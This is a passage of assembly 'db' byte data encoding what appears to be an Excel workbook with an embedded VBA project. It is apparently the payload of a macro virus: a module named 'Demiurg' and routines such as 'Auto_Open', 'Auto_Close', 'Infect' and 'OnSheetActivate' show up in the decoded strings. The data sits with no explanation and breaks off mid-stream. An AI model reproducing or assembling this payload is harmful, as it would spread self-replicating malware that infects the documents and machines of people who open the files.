db 000h, 020h, 000h, 04Ch, 000h, 069h, 000h, 062h
db 000h, 072h, 000h, 061h, 000h, 072h, 000h, 079h
db 0E6h, 00Bh, 000h, 001h, 000h, 000h, 000h, 0E1h
db 02Eh, 045h, 00Dh, 08Fh, 0E0h, 01Ah, 010h, 085h
db 02Eh, 002h, 060h, 08Ch, 04Dh, 00Bh, 0B4h, 000h
db 000h, 004h, 001h, 02Ah, 000h, 05Ch, 000h, 047h
db 000h, 07Bh, 000h, 032h, 000h, 044h, 000h, 046h
db 000h, 038h, 000h, 044h, 000h, 030h, 000h, 034h
db 000h, 043h, 000h, 02Dh, 000h, 035h, 000h, 042h
db 000h, 046h, 000h, 041h, 000h, 02Dh, 000h, 031h
db 000h, 030h, 000h, 031h, 000h, 042h, 000h, 02Dh
db 000h, 042h, 000h, 044h, 000h, 045h, 000h, 035h
db 000h, 02Dh, 000h, 030h, 000h, 030h, 000h, 041h
db 000h, 041h, 000h, 030h, 000h, 030h, 000h, 034h
db 000h, 034h, 000h, 044h, 000h, 045h, 000h, 035h
db 000h, 032h, 000h, 07Dh, 000h, 023h, 000h, 032h
db 000h, 02Eh, 000h, 030h, 000h, 023h, 000h, 030h
db 000h, 023h, 000h, 043h, 000h, 03Ah, 000h, 05Ch
db 000h, 050h, 000h, 052h, 000h, 04Fh, 000h, 047h
db 000h, 052h, 000h, 041h, 000h, 04Dh, 000h, 04Dh
db 000h, 045h, 000h, 05Ch, 000h, 04Dh, 000h, 049h
db 000h, 043h, 000h, 052h, 000h, 04Fh, 000h, 053h
db 000h, 04Fh, 000h, 046h, 000h, 054h, 000h, 020h
db 000h, 04Fh, 000h, 046h, 000h, 046h, 000h, 049h
db 000h, 043h, 000h, 045h, 000h, 05Ch, 000h, 04Fh
db 000h, 046h, 000h, 046h, 000h, 049h, 000h, 043h
db 000h, 045h, 000h, 05Ch, 000h, 04Dh, 000h, 053h
db 000h, 04Fh, 000h, 039h, 000h, 037h, 000h, 02Eh
db 000h, 044h, 000h, 04Ch, 000h, 04Ch, 000h, 023h
db 000h, 04Dh, 000h, 069h, 000h, 063h, 000h, 072h
db 000h, 06Fh, 000h, 073h, 000h, 06Fh, 000h, 066h
db 000h, 074h, 000h, 020h, 000h, 04Fh, 000h, 066h
db 000h, 066h, 000h, 069h, 000h, 063h, 000h, 065h
db 000h, 020h, 000h, 038h, 000h, 02Eh, 000h, 030h
db 000h, 020h, 000h, 04Fh, 000h, 062h, 000h, 06Ah
db 000h, 065h, 000h, 063h, 000h, 074h, 000h, 020h
db 000h, 04Ch, 000h, 069h, 000h, 062h, 000h, 072h
db 000h, 061h, 000h, 072h, 000h, 079h, 0E6h, 00Dh
db 000h, 003h, 000h, 002h, 000h, 002h, 000h, 001h
db 000h, 003h, 000h, 004h, 002h, 000h, 000h, 006h
db 002h, 001h, 000h, 008h, 002h, 000h, 000h, 010h
db 002h, 0E6h, 006h, 0FFh, 0E6h, 004h, 000h, 0FFh
db 0FFh, 000h, 000h, 0E8h, 005h, 0C0h, 038h, 003h
db 000h, 0E6h, 00Ah, 0FFh, 000h, 000h, 001h, 000h
db 0E6h, 026h, 0FFh, 002h, 000h, 0E6h, 00Ah, 0FFh
db 001h, 0E6h, 013h, 000h, 0B5h, 031h, 003h, 000h
db 022h, 000h, 044h, 000h, 069h, 000h, 065h, 000h
db 073h, 000h, 065h, 000h, 041h, 000h, 072h, 000h
db 062h, 000h, 065h, 000h, 069h, 000h, 074h, 000h
db 073h, 000h, 06Dh, 000h, 061h, 000h, 070h, 000h
db 070h, 000h, 065h, 000h, 00Ah, 000h, 034h, 033h
db 038h, 063h, 030h, 030h, 035h, 065h, 038h, 000h
db 003h, 000h, 02Ah, 044h, 001h, 015h, 002h, 0FFh
db 0FFh, 0B7h, 031h, 0E6h, 007h, 000h, 002h, 000h
db 000h, 000h, 01Fh, 003h, 000h, 000h, 0FFh, 0FFh
db 010h, 000h, 054h, 000h, 061h, 000h, 062h, 000h
db 065h, 000h, 06Ch, 000h, 06Ch, 000h, 065h, 000h
db 031h, 000h, 00Ah, 000h, 035h, 033h, 038h, 063h
db 030h, 030h, 035h, 065h, 038h, 000h, 003h, 000h
db 02Ah, 044h, 001h, 019h, 002h, 0FFh, 0FFh, 0B9h
db 031h, 0E6h, 006h, 000h, 018h, 002h, 000h, 000h
db 000h, 01Fh, 003h, 000h, 000h, 0FFh, 0FFh, 00Eh
db 000h, 044h, 000h, 065h, 000h, 06Dh, 000h, 069h
db 000h, 075h, 000h, 072h, 000h, 067h, 000h, 00Ah
db 000h, 064h, 033h, 038h, 063h, 030h, 030h, 035h
db 066h, 036h, 000h, 003h, 000h, 02Ah, 044h, 001h
db 01Ch, 002h, 0FFh, 0FFh, 0BBh, 031h, 0E6h, 006h
db 000h, 030h, 002h, 000h, 000h, 000h, 0B7h, 005h
db 000h, 000h, 0E6h, 006h, 0FFh, 001h, 001h, 050h
db 002h, 000h, 000h, 0E6h, 0D8h, 0FFh, 000h, 002h
db 000h, 000h, 0E6h, 004h, 0FFh, 018h, 002h, 000h
db 000h, 0E6h, 004h, 0FFh, 030h, 002h, 000h, 000h
db 0E6h, 0FFh, 0FFh, 0E6h, 015h, 0FFh, 0E7h, 06Eh
db 0E4h, 0D9h, 03Ah, 0F1h, 0D3h, 011h, 0A5h, 001h
db 0A6h, 0F3h, 0DDh, 0ADh, 082h, 039h, 0E6h, 004h
db 0FFh, 001h, 000h, 000h, 000h, 0E9h, 06Eh, 0E4h
db 0D9h, 03Ah, 0F1h, 0D3h, 011h, 0A5h, 001h, 0A6h
db 0F3h, 0DDh, 0ADh, 082h, 039h, 0E6h, 004h, 0FFh
db 001h, 000h, 000h, 000h, 0EBh, 06Eh, 0E4h, 0D9h
db 03Ah, 0F1h, 0D3h, 011h, 0A5h, 001h, 0A6h, 0F3h
db 0DDh, 0ADh, 082h, 039h, 0E6h, 004h, 0FFh, 001h
db 000h, 000h, 000h, 0E6h, 004h, 0FFh, 030h, 000h
db 000h, 000h, 080h, 0E6h, 005h, 000h, 020h, 001h
db 021h, 000h, 0FFh, 000h, 0B8h, 028h, 000h, 000h
db 005h, 004h, 045h, 078h, 063h, 065h, 06Ch, 080h
db 02Bh, 010h, 000h, 003h, 004h, 056h, 042h, 041h
db 0F7h, 0E2h, 010h, 000h, 005h, 004h, 057h, 069h
db 06Eh, 031h, 036h, 0C1h, 07Eh, 010h, 000h, 005h
db 004h, 057h, 069h, 06Eh, 033h, 032h, 007h, 07Fh
db 010h, 000h, 003h, 004h, 04Dh, 061h, 063h, 0B3h
db 0B2h, 010h, 000h, 008h, 004h, 050h, 072h, 06Fh
db 06Ah, 065h, 06Bh, 074h, 031h, 0D2h, 041h, 010h
db 000h, 006h, 004h, 073h, 074h, 064h, 06Fh, 06Ch
db 065h, 093h, 060h, 010h, 000h, 007h, 000h, 04Dh
db 053h, 046h, 06Fh, 072h, 06Dh, 073h, 043h, 00Fh
db 010h, 000h, 00Ah, 004h, 056h, 042h, 041h, 050h
db 072h, 06Fh, 06Ah, 065h, 063h, 074h, 0BEh, 0BFh
db 010h, 000h, 006h, 004h, 04Fh, 066h, 066h, 069h
db 063h, 065h, 015h, 075h, 010h, 000h, 011h, 004h
db 044h, 069h, 065h, 073h, 065h, 041h, 072h, 062h
db 065h, 069h, 074h, 073h, 06Dh, 061h, 070h, 070h
db 065h, 0AFh, 081h, 010h, 000h, 009h, 080h, 000h
db 000h, 0FFh, 003h, 001h, 000h, 05Fh, 045h, 076h
db 061h, 06Ch, 075h, 061h, 074h, 065h, 018h, 0D9h
db 010h, 000h, 008h, 004h, 054h, 061h, 062h, 065h
db 06Ch, 06Ch, 065h, 031h, 052h, 08Ah, 010h, 000h
db 006h, 004h, 04Dh, 06Fh, 064h, 075h, 06Ch, 031h
db 0CDh, 01Eh, 010h, 000h, 007h, 004h, 044h, 065h
db 06Dh, 069h, 075h, 072h, 067h, 01Dh, 017h, 010h
db 000h, 009h, 004h, 041h, 075h, 074h, 06Fh, 05Fh
db 04Fh, 070h, 065h, 06Eh, 056h, 020h, 010h, 000h
db 00Bh, 000h, 041h, 070h, 070h, 06Ch, 069h, 063h
db 061h, 074h, 069h, 06Fh, 06Eh, 0A5h, 02Ah, 010h
db 000h, 00Fh, 000h, 04Fh, 06Eh, 053h, 068h, 065h
db 065h, 074h, 041h, 063h, 074h, 069h, 076h, 061h
db 074h, 065h, 0FAh, 06Eh, 010h, 000h, 00Ah, 004h
db 041h, 075h, 074h, 06Fh, 05Fh, 043h, 06Ch, 06Fh
db 073h, 065h, 077h, 080h, 010h, 000h, 00Ch, 000h
db 041h, 063h, 074h, 069h, 076h, 065h, 057h, 069h
db 06Eh, 064h, 06Fh, 077h, 0C3h, 02Bh, 010h, 000h
db 007h, 000h, 056h, 069h, 073h, 069h, 062h, 06Ch
db 065h, 0B6h, 0D3h, 010h, 000h, 006h, 004h, 049h
db 06Eh, 066h, 065h, 063h, 074h, 0E8h, 066h, 010h
db 000h, 00Dh, 000h, 044h, 069h, 073h, 070h, 06Ch
db 061h, 079h, 041h, 06Ch, 065h, 072h, 074h, 073h
db 0F4h, 0F6h, 010h, 000h, 008h, 000h, 06Ch, 061h
db 073h, 074h, 063h, 068h, 061h, 072h, 013h, 09Ah
db 010h, 000h, 003h, 000h, 041h, 073h, 063h, 021h
db 075h, 010h, 000h, 00Eh, 000h, 041h, 063h, 074h
db 069h, 076h, 065h, 057h, 06Fh, 072h, 06Bh, 062h
db 06Fh, 06Fh, 06Bh, 013h, 0A2h, 010h, 000h, 001h
db 000h, 069h, 060h, 010h, 010h, 000h, 009h, 000h
db 056h, 042h, 050h, 072h, 06Fh, 06Ah, 065h, 063h
db 074h, 04Fh, 068h, 010h, 000h, 00Ch, 000h, 056h
db 042h, 043h, 06Fh, 06Dh, 070h, 06Fh, 06Eh, 065h
db 06Eh, 074h, 073h, 00Ah, 027h, 010h, 000h, 005h
db 000h, 063h, 06Fh, 075h, 06Eh, 074h, 030h, 076h
db 010h, 000h, 006h, 000h, 049h, 06Dh, 070h, 06Fh
db 072h, 074h, 069h, 0C5h, 010h, 000h, 004h, 000h
db 053h, 061h, 076h, 065h, 092h, 0D0h, 010h, 000h
db 008h, 004h, 057h, 06Fh, 072h, 06Bh, 062h, 06Fh
db 06Fh, 06Bh, 06Bh, 018h, 010h, 000h, 002h, 0FFh
db 0FFh, 001h, 001h, 06Ch, 000h, 000h, 000h, 01Dh
db 002h, 002h, 000h, 010h, 000h, 0E6h, 012h, 0FFh
db 000h, 002h, 001h, 000h, 0FFh, 0FFh, 002h, 002h
db 000h, 000h, 0E6h, 01Ah, 0FFh, 00Ch, 002h, 002h
db 000h, 0FFh, 0FFh, 00Eh, 002h, 003h, 000h, 0FFh
db 0FFh, 010h, 002h, 0E6h, 004h, 0FFh, 012h, 002h
db 004h, 000h, 0FFh, 0FFh, 015h, 002h, 000h, 000h
db 00Eh, 000h, 0E6h, 006h, 0FFh, 019h, 002h, 001h
db 000h, 00Eh, 000h, 0E6h, 006h, 0FFh, 000h, 000h
db 012h, 000h, 000h, 000h, 001h, 000h, 036h, 0E6h
db 060h, 000h, 001h, 0C6h, 0B2h, 080h, 001h, 000h
db 004h, 000h, 000h, 000h, 001h, 000h, 030h, 02Ah
db 002h, 002h, 090h, 009h, 000h, 070h, 014h, 006h
db 048h, 003h, 000h, 082h, 002h, 000h, 064h, 0E4h
db 004h, 004h, 000h, 00Ah, 000h, 01Ch, 000h, 056h
db 042h, 041h, 050h, 072h, 06Fh, 06Ah, 065h, 088h
db 063h, 074h, 005h, 000h, 034h, 000h, 000h, 040h
db 002h, 014h, 06Ah, 006h, 002h, 00Ah, 03Dh, 002h
db 00Ah, 007h, 002h, 072h, 001h, 014h, 008h, 005h
db 006h, 012h, 009h, 002h, 012h, 0E8h, 005h, 0C0h
db 038h, 003h, 094h, 000h, 00Ch, 002h, 04Ah, 03Ch
db 002h, 00Ah, 016h, 000h, 001h, 072h, 080h, 073h
db 074h, 064h, 06Fh, 06Ch, 065h, 03Eh, 002h, 019h
db 000h, 073h, 000h, 074h, 000h, 064h, 000h, 06Fh
db 000h, 080h, 06Ch, 000h, 065h, 000h, 00Dh, 000h
db 066h, 000h, 025h, 002h, 05Ch, 000h, 003h, 02Ah
db 05Ch, 047h, 07Bh, 030h, 030h, 080h, 030h, 032h
db 030h, 034h, 033h, 030h, 02Dh, 000h, 008h, 01Dh
db 004h, 004h, 043h, 000h, 00Ah, 002h, 00Eh, 001h
db 012h, 030h, 030h, 034h, 000h, 036h, 07Dh, 023h
db 032h, 02Eh, 030h, 023h, 030h, 000h, 023h, 043h
db 03Ah, 05Ch, 057h, 049h, 04Eh, 044h, 000h, 04Fh
db 057h, 053h, 05Ch, 053h, 059h, 053h, 054h, 000h
db 045h, 04Dh, 05Ch, 053h, 054h, 044h, 04Fh, 04Ch
db 080h, 045h, 032h, 02Eh, 054h, 04Ch, 042h, 023h
db 000h, 008h, 000h, 020h, 041h, 075h, 074h, 06Fh
db 06Dh, 061h, 074h, 018h, 069h, 06Fh, 06Eh, 000h
db 05Eh, 000h, 001h, 016h, 000h, 007h, 001h, 080h
db 002h, 04Dh, 053h, 046h, 06Fh, 072h, 06Dh, 073h
db 008h, 03Eh, 000h, 00Eh, 001h, 006h, 000h, 053h
db 000h, 046h, 001h, 000h, 045h, 072h, 000h, 06Dh
db 000h, 073h, 000h, 02Fh, 034h, 000h, 07Ah, 080h
db 009h, 070h, 080h, 001h, 001h, 046h, 036h, 032h
db 000h, 041h, 033h, 032h, 043h, 036h, 032h, 02Dh
db 041h, 000h, 033h, 036h, 044h, 02Dh, 031h, 031h
db 044h, 033h, 000h, 02Dh, 041h, 035h, 030h, 030h
db 02Dh, 041h, 036h, 000h, 046h, 033h, 044h, 044h
db 041h, 044h, 038h, 032h, 00Ch, 033h, 039h, 017h
db 046h, 004h, 033h, 02Eh, 054h, 057h, 044h, 000h
db 023h, 04Dh, 069h, 063h, 072h, 06Fh, 073h, 06Fh
db 028h, 066h, 074h, 020h, 002h, 03Dh, 020h, 000h
db 060h, 020h, 04Fh, 002h, 062h, 001h, 0B0h, 020h
db 04Ch, 069h, 062h, 072h, 061h, 01Ch, 072h, 079h
db 000h, 039h, 000h, 001h, 01Eh, 050h, 030h, 000h
db 090h, 07Dh, 000h, 013h, 072h, 080h, 001h, 008h
db 050h, 000h, 04Bh, 02Ah, 050h, 080h, 04Ah, 050h
db 020h, 05Ch, 056h, 042h, 045h, 05Ch, 085h, 028h
db 045h, 058h, 001h, 0A7h, 028h, 0E1h, 02Eh, 045h
db 00Dh, 08Fh, 0E0h, 01Ah, 000h, 010h, 085h, 02Eh
db 002h, 060h, 08Ch, 04Dh, 00Bh, 006h, 0B4h, 041h
db 094h, 043h, 078h, 04Fh, 066h, 066h, 069h, 063h
db 005h, 044h, 078h, 04Fh, 040h, 075h, 066h, 000h
db 069h, 000h, 063h, 015h, 042h, 078h, 08Ch, 0C0h
db 02Bh, 082h, 0C4h, 02Ch, 032h, 044h, 046h, 000h
db 038h, 044h, 030h, 034h, 043h, 02Dh, 035h, 042h
db 000h, 046h, 041h, 02Dh, 031h, 030h, 031h, 042h
db 02Dh, 090h, 064h, 000h, 069h, 000h, 072h, 0E6h
db 03Bh, 000h, 008h, 000h, 002h, 000h, 0E6h, 00Ch
db 0FFh, 0E6h, 024h, 000h, 099h, 000h, 000h, 000h
db 0CAh, 002h, 0E6h, 006h, 000h, 050h, 000h, 052h
db 000h, 04Fh, 000h, 04Ah, 000h, 045h, 000h, 043h
db 000h, 054h, 000h, 077h, 000h, 06Dh, 0E6h, 02Fh
db 000h, 014h, 000h, 002h, 000h, 0E6h, 00Ch, 0FFh
db 0E6h, 024h, 000h, 0A5h, 000h, 000h, 000h, 06Bh
db 0E6h, 007h, 000h, 050h, 000h, 052h, 000h, 04Fh
db 000h, 04Ah, 000h, 045h, 000h, 043h, 000h, 054h
db 0E6h, 033h, 000h, 010h, 000h, 002h, 001h, 003h
db 000h, 000h, 000h, 009h, 000h, 000h, 000h, 0E6h
db 004h, 0FFh, 0E6h, 024h, 000h, 0A7h, 000h, 000h
db 000h, 0B8h, 001h, 0E6h, 006h, 000h, 005h, 000h
db 053h, 000h, 075h, 000h, 06Dh, 000h, 06Dh, 000h
db 061h, 000h, 072h, 000h, 079h, 000h, 049h, 000h
db 06Eh, 000h, 066h, 000h, 06Fh, 000h, 072h, 000h
db 06Dh, 000h, 061h, 000h, 074h, 000h, 069h, 000h
db 06Fh, 000h, 06Eh, 0E6h, 01Bh, 000h, 028h, 000h
db 002h, 001h, 0E6h, 004h, 0FFh, 00Ch, 000h, 000h
db 000h, 0E6h, 004h, 0FFh, 0E6h, 024h, 000h, 0AEh
db 000h, 000h, 000h, 0B4h, 0E6h, 007h, 000h, 042h
db 044h, 045h, 035h, 040h, 078h, 041h, 041h, 040h
db 077h, 00Ah, 034h, 0C0h, 002h, 032h, 008h, 055h
db 050h, 052h, 04Fh, 047h, 010h, 052h, 041h, 04Dh
db 04Dh, 000h, 02Bh, 049h, 043h, 052h, 000h, 04Fh
db 053h, 04Fh, 046h, 054h, 020h, 04Fh, 046h, 020h
db 046h, 049h, 043h, 045h, 05Ch, 084h, 001h, 04Dh
db 053h, 080h, 04Fh, 039h, 037h, 02Eh, 044h, 04Ch
db 04Ch, 048h, 059h, 0A1h, 083h, 022h, 020h, 038h
db 02Eh, 030h, 092h, 059h, 00Fh, 042h, 0BBh, 008h
db 003h, 000h, 013h, 0C2h, 001h, 0B5h, 031h, 019h
db 000h, 002h, 011h, 040h, 027h, 044h, 069h, 065h
db 073h, 065h, 041h, 000h, 072h, 062h, 065h, 069h
db 074h, 073h, 06Dh, 061h, 010h, 070h, 070h, 065h
db 01Ah, 093h, 005h, 032h, 000h, 022h, 00Bh, 041h
db 00Bh, 040h, 037h, 065h, 080h, 08Ch, 065h, 000h
db 041h, 000h, 0A8h, 072h, 000h, 062h, 0C0h, 039h
db 069h, 040h, 0B5h, 073h, 080h, 091h, 088h, 061h
db 000h, 070h, 040h, 000h, 065h, 000h, 01Ch, 040h
db 009h, 028h, 000h, 000h, 048h, 042h, 001h, 031h
db 0C2h, 0C6h, 01Fh, 003h, 058h, 000h, 000h, 01Eh
db 042h, 002h, 001h, 005h, 02Ch, 042h, 01Fh, 0B7h
db 022h, 031h, 041h, 013h, 000h, 000h, 02Bh, 0C2h
db 009h, 019h, 000h, 002h, 008h, 0C0h, 001h, 054h
db 061h, 062h, 065h, 06Ch, 06Ch, 088h, 065h, 031h
db 01Ah, 04Ah, 003h, 032h, 000h, 010h, 0C1h, 006h
db 054h, 000h, 061h, 042h, 01Bh, 06Ch, 042h, 0CFh
db 031h, 064h, 019h, 0B9h, 005h, 04Ch, 019h, 007h
db 020h, 009h, 044h, 065h, 06Dh, 069h, 075h, 058h
db 072h, 067h, 01Ah, 082h, 062h, 084h, 001h, 032h
db 082h, 062h, 044h, 055h, 0A0h, 019h, 06Dh, 0E0h
db 01Bh, 075h, 020h, 01Bh, 067h, 030h, 00Ch, 0B7h
db 0E3h, 0C0h, 082h, 0EDh, 018h, 0BBh, 031h, 021h
db 060h, 00Ah, 0E5h, 018h, 021h, 015h, 0E6h, 039h
db 000h, 044h, 069h, 065h, 073h, 065h, 041h, 072h
db 062h, 065h, 069h, 074h, 073h, 06Dh, 061h, 070h
db 070h, 065h, 000h, 044h, 000h, 069h, 000h, 065h
db 000h, 073h, 000h, 065h, 000h, 041h, 000h, 072h
db 000h, 062h, 000h, 065h, 000h, 069h, 000h, 074h
db 000h, 073h, 000h, 06Dh, 000h, 061h, 000h, 070h
db 000h, 070h, 000h, 065h, 000h, 000h, 000h, 054h
db 061h, 062h, 065h, 06Ch, 06Ch, 065h, 031h, 000h
db 054h, 000h, 061h, 000h, 062h, 000h, 065h, 000h
db 06Ch, 000h, 06Ch, 000h, 065h, 000h, 031h, 000h
db 000h, 000h, 044h, 065h, 06Dh, 069h, 075h, 072h
db 067h, 000h, 044h, 000h, 065h, 000h, 06Dh, 000h
db 069h, 000h, 075h, 000h, 072h, 000h, 067h, 0E6h
db 01Ah, 000h, 049h, 044h, 03Dh, 022h, 07Bh, 044h
db 039h, 045h, 034h, 036h, 045h, 046h, 030h, 02Dh
db 046h, 031h, 033h, 041h, 02Dh, 031h, 031h, 044h
db 033h, 02Dh, 041h, 035h, 030h, 031h, 02Dh, 041h
db 036h, 046h, 033h, 044h, 044h, 041h, 044h, 038h
db 032h, 033h, 039h, 07Dh, 022h, 00Dh, 00Ah, 044h
db 06Fh, 063h, 075h, 06Dh, 065h, 06Eh, 074h, 03Dh
db 044h, 069h, 065h, 073h, 065h, 041h, 072h, 062h
db 065h, 069h, 074h, 073h, 06Dh, 061h, 070h, 070h
db 065h, 02Fh, 026h, 048h, 0E6h, 008h, 030h, 00Dh
db 00Ah, 044h, 06Fh, 063h, 075h, 06Dh, 065h, 06Eh
db 074h, 03Dh, 054h, 061h, 062h, 065h, 06Ch, 06Ch
db 065h, 031h, 02Fh, 026h, 048h, 0E6h, 008h, 030h
db 00Dh, 00Ah, 04Dh, 06Fh, 064h, 075h, 06Ch, 065h
db 03Dh, 044h, 065h, 06Dh, 069h, 075h, 072h, 067h
db 00Dh, 00Ah, 04Eh, 061h, 06Dh, 065h, 03Dh, 022h
db 056h, 042h, 041h, 050h, 072h, 06Fh, 06Ah, 065h
db 063h, 074h, 022h, 00Dh, 00Ah, 048h, 065h, 06Ch
db 070h, 043h, 06Fh, 06Eh, 074h, 065h, 078h, 074h
db 049h, 044h, 03Dh, 022h, 030h, 022h, 00Dh, 00Ah
db 043h, 04Dh, 047h, 03Dh, 022h, 039h, 039h, 039h
db 042h, 039h, 038h, 039h, 038h, 039h, 043h, 039h
db 038h, 039h, 043h, 039h, 038h, 039h, 043h, 039h
db 038h, 039h, 043h, 022h, 00Dh, 00Ah, 044h, 050h
db 042h, 03Dh, 022h, 033h, 032h, 033h, 030h, 033h
db 033h, 041h, 038h, 043h, 044h, 041h, 039h, 043h
db 044h, 041h, 039h, 043h, 044h, 022h, 00Dh, 00Ah
db 047h, 043h, 03Dh, 022h, 043h, 042h, 043h, 039h
db 043h, 041h, 035h, 033h, 036h, 032h, 035h, 034h
db 036h, 032h, 035h, 034h, 039h, 044h, 022h, 00Dh
db 00Ah, 00Dh, 00Ah, 05Bh, 048h, 06Fh, 073h, 074h
db 020h, 045h, 078h, 074h, 065h, 06Eh, 064h, 065h
db 072h, 020h, 049h, 06Eh, 066h, 06Fh, 05Dh, 00Dh
db 00Ah, 026h, 048h, 0E6h, 007h, 030h, 031h, 03Dh
db 07Bh, 033h, 038h, 033h, 032h, 044h, 036h, 034h
db 030h, 02Dh, 043h, 046h, 039h, 030h, 02Dh, 031h
db 031h, 043h, 046h, 02Dh, 038h, 045h, 034h, 033h
db 02Dh, 030h, 030h, 041h, 030h, 043h, 039h, 031h
db 031h, 030h, 030h, 035h, 041h, 07Dh, 03Bh, 056h
db 042h, 045h, 03Bh, 026h, 048h, 0E6h, 008h, 030h
db 00Dh, 00Ah, 00Dh, 00Ah, 05Bh, 057h, 06Fh, 072h
db 06Bh, 073h, 070h, 061h, 063h, 065h, 05Dh, 00Dh
db 00Ah, 044h, 069h, 065h, 073h, 065h, 041h, 072h
db 062h, 065h, 069h, 074h, 073h, 06Dh, 061h, 070h
db 070h, 065h, 03Dh, 030h, 02Ch, 020h, 030h, 02Ch
db 020h, 030h, 02Ch, 020h, 030h, 02Ch, 020h, 043h
db 00Dh, 00Ah, 054h, 061h, 062h, 065h, 06Ch, 06Ch
db 065h, 031h, 03Dh, 030h, 02Ch, 020h, 030h, 02Ch
db 020h, 030h, 02Ch, 020h, 030h, 02Ch, 020h, 043h
db 00Dh, 00Ah, 044h, 065h, 06Dh, 069h, 075h, 072h
db 067h, 03Dh, 032h, 032h, 02Ch, 020h, 032h, 032h
db 02Ch, 020h, 034h, 030h, 036h, 02Ch, 020h, 031h
db 039h, 031h, 02Ch, 020h, 05Ah, 00Dh, 00Ah, 0E6h
db 008h, 000h, 0FEh, 0FFh, 000h, 000h, 004h, 000h
db 002h, 0E6h, 011h, 000h, 001h, 000h, 000h, 000h
db 0E0h, 085h, 09Fh, 0F2h, 0F9h, 04Fh, 068h, 010h
db 0ABh, 091h, 008h, 000h, 02Bh, 027h, 0B3h, 0D9h
db 030h, 000h, 000h, 000h, 084h, 000h, 000h, 000h
db 006h, 000h, 000h, 000h, 001h, 000h, 000h, 000h
db 038h, 000h, 000h, 000h, 004h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 008h, 000h, 000h, 000h
db 04Ch, 000h, 000h, 000h, 012h, 000h, 000h, 000h
db 058h, 000h, 000h, 000h, 00Ch, 000h, 000h, 000h
db 070h, 000h, 000h, 000h, 013h, 000h, 000h, 000h
db 07Ch, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 0E4h, 004h, 000h, 000h, 01Eh, 000h, 000h, 000h
db 002h, 000h, 000h, 000h, 042h, 000h, 073h, 000h
db 01Eh, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 042h, 000h, 073h, 000h, 01Eh, 000h, 000h, 000h
db 010h, 000h, 000h, 000h, 04Dh, 069h, 063h, 072h
db 06Fh, 073h, 06Fh, 066h, 074h, 020h, 045h, 078h
db 063h, 065h, 06Ch, 000h, 040h, 000h, 000h, 000h
db 080h, 0ECh, 0E8h, 033h, 03Fh, 085h, 0BFh, 001h
db 003h, 0E6h, 013h, 000h, 0FEh, 0FFh, 000h, 000h
db 004h, 000h, 002h, 0E6h, 011h, 000h, 002h, 000h
db 000h, 000h, 002h, 0D5h, 0CDh, 0D5h, 09Ch, 02Eh
db 01Bh, 010h, 093h, 097h, 008h, 000h, 02Bh, 02Ch
db 0F9h, 0AEh, 044h, 000h, 000h, 000h, 005h, 0D5h
db 0CDh, 0D5h, 09Ch, 02Eh, 01Bh, 010h, 093h, 097h
db 008h, 000h, 02Bh, 02Ch, 0F9h, 0AEh, 008h, 001h
db 000h, 000h, 0C4h, 000h, 000h, 000h, 009h, 000h
db 000h, 000h, 001h, 000h, 000h, 000h, 050h, 000h
db 000h, 000h, 00Fh, 000h, 000h, 000h, 058h, 000h
db 000h, 000h, 017h, 000h, 000h, 000h, 064h, 000h
db 000h, 000h, 00Bh, 000h, 000h, 000h, 06Ch, 000h
db 000h, 000h, 010h, 000h, 000h, 000h, 074h, 000h
db 000h, 000h, 013h, 000h, 000h, 000h, 07Ch, 000h
db 000h, 000h, 016h, 000h, 000h, 000h, 084h, 000h
db 000h, 000h, 00Dh, 000h, 000h, 000h, 08Ch, 000h
db 000h, 000h, 00Ch, 000h, 000h, 000h, 0A1h, 000h
db 000h, 000h, 002h, 000h, 000h, 000h, 0E4h, 004h
db 000h, 000h, 01Eh, 000h, 000h, 000h, 001h, 0E6h
db 005h, 000h, 06Ch, 000h, 003h, 000h, 000h, 000h
db 06Ah, 010h, 008h, 000h, 00Bh, 0E6h, 007h, 000h
db 00Bh, 0E6h, 007h, 000h, 00Bh, 0E6h, 007h, 000h
db 00Bh, 0E6h, 007h, 000h, 01Eh, 010h, 000h, 000h
db 001h, 000h, 000h, 000h, 009h, 000h, 000h, 000h
db 054h, 061h, 062h, 065h, 06Ch, 06Ch, 065h, 031h
db 000h, 00Ch, 010h, 000h, 000h, 002h, 000h, 000h
db 000h, 01Eh, 000h, 000h, 000h, 009h, 000h, 000h
db 000h, 054h, 061h, 062h, 065h, 06Ch, 06Ch, 065h
db 06Eh, 000h, 003h, 000h, 000h, 000h, 001h, 0E6h
db 005h, 000h, 098h, 000h, 000h, 000h, 003h, 0E6h
db 007h, 000h, 020h, 000h, 000h, 000h, 001h, 000h
db 000h, 000h, 036h, 000h, 000h, 000h, 002h, 000h
db 000h, 000h, 03Eh, 000h, 000h, 000h, 001h, 000h
db 000h, 000h, 002h, 000h, 000h, 000h, 00Ah, 000h
db 000h, 000h, 05Fh, 050h, 049h, 044h, 05Fh, 047h
db 055h, 049h, 044h, 000h, 002h, 000h, 000h, 000h
db 0E4h, 004h, 000h, 000h, 041h, 000h, 000h, 000h
db 04Eh, 000h, 000h, 000h, 07Bh, 000h, 044h, 000h
db 039h, 000h, 045h, 000h, 034h, 000h, 036h, 000h
db 045h, 000h, 046h, 000h, 031h, 000h, 02Dh, 000h
db 046h, 000h, 031h, 000h, 033h, 000h, 041h, 000h
db 02Dh, 000h, 031h, 000h, 031h, 000h, 044h, 000h
db 033h, 000h, 02Dh, 000h, 041h, 000h, 035h, 000h
db 030h, 000h, 031h, 000h, 02Dh, 000h, 041h, 000h
db 036h, 000h, 046h, 000h, 033h, 000h, 044h, 000h
db 044h, 000h, 041h, 000h, 044h, 000h, 038h, 000h
db 032h, 000h, 033h, 000h, 039h, 000h, 07Dh, 0E6h
db 027h, 000h, 005h, 000h, 044h, 000h, 06Fh, 000h
db 063h, 000h, 075h, 000h, 06Dh, 000h, 065h, 000h
db 06Eh, 000h, 074h, 000h, 053h, 000h, 075h, 000h
db 06Dh, 000h, 06Dh, 000h, 061h, 000h, 072h, 000h
db 079h, 000h, 049h, 000h, 06Eh, 000h, 066h, 000h
db 06Fh, 000h, 072h, 000h, 06Dh, 000h, 061h, 000h
db 074h, 000h, 069h, 000h, 06Fh, 000h, 06Eh, 0E6h
db 00Bh, 000h, 038h, 000h, 002h, 000h, 0E6h, 00Ch
db 0FFh, 0E6h, 024h, 000h, 0B1h, 000h, 000h, 000h
db 0A0h, 001h, 0E6h, 006h, 000h, 001h, 000h, 043h
db 000h, 06Fh, 000h, 06Dh, 000h, 070h, 000h, 04Fh
db 000h, 062h, 000h, 06Ah, 0E6h, 031h, 000h, 012h
